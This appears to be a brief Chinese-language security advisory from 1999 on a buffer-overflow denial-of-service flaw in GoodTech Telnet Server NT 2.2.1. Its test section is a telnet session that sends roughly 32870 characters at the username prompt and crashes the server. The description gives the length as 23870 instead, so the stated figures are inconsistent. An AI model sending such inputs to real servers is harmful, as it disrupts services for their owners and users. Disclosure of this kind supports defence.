GoodTech Telnet Server NT的远程拒绝服务漏洞发布时间:1999-12-06 更新时间:1999-12-06 严重程度:中 威胁程度:远程拒绝服务 错误类型:输入验证错误 利用方式:服务器模式 受影响系统 Misc详细描述 GoodTech Telnet Server NT2.2.1由于缺乏对缓冲区的检查,可以导致远程缓冲溢出。如果23870或者超过此长度的字符输入username提示符中,此软件就崩溃。 测试代码 $ telnet victimhost Trying victimhost... Connected to victimhost. Escape character is '^]'. Welcome to GoodTech Telnet Server for Windows NT (V2.2) (Evaluation Copy) (C) Copyright 1996-1999 GoodTech Systems, Inc. Login username: (32870 characters) ...server crash 解决方案 暂无 相关信息 |